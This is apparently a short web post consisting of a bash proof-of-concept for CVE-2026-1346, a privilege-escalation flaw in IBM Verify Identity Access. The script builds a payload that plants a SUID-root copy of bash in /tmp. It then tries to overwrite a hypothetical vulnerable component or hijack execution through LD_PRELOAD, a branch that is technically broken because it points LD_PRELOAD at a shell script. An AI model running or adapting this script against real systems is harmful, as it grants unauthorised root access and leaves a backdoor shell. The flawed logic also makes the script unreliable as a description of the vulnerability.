CVE-2026-1346 IBM Verify Identity Access权限提升漏洞

#!/bin/bash # PoC for CVE-2026-1346 (Privilege Escalation) # This script demonstrates a conceptual exploitation of a component running with unnecessary root privileges. # 1. Identify the vulnerable executable or script path (Hypothetical path) VULN_PATH="/opt/ibm/verify/bin/vuln_component" # 2. Create a malicious payload to be executed PAYLOAD_FILE="/tmp/malicious_payload.sh" echo '#!/bin/bash' > $PAYLOAD_FILE echo 'cp /bin/bash /tmp/root_bash' >> $PAYLOAD_FILE echo 'chmod 4755 /tmp/root_bash' >> $PAYLOAD_FILE chmod +x $PAYLOAD_FILE # 3. Check if the vulnerable path exists and is writable or manipulatable if [ -w "$VULN_PATH" ]; then echo "[+] Vulnerable component is writable. Overwriting..." cp $PAYLOAD_FILE $VULN_PATH # Trigger execution (simulation) # $VULN_PATH else echo "[-] Component not writable directly. Checking for other vectors..." # Alternative: Check for weak LD_PRELOAD or path hijacking export LD_PRELOAD=$PAYLOAD_FILE # $VULN_PATH fi echo "[!] Exploit attempt finished. Check /tmp/root_bash for SUID root shell."
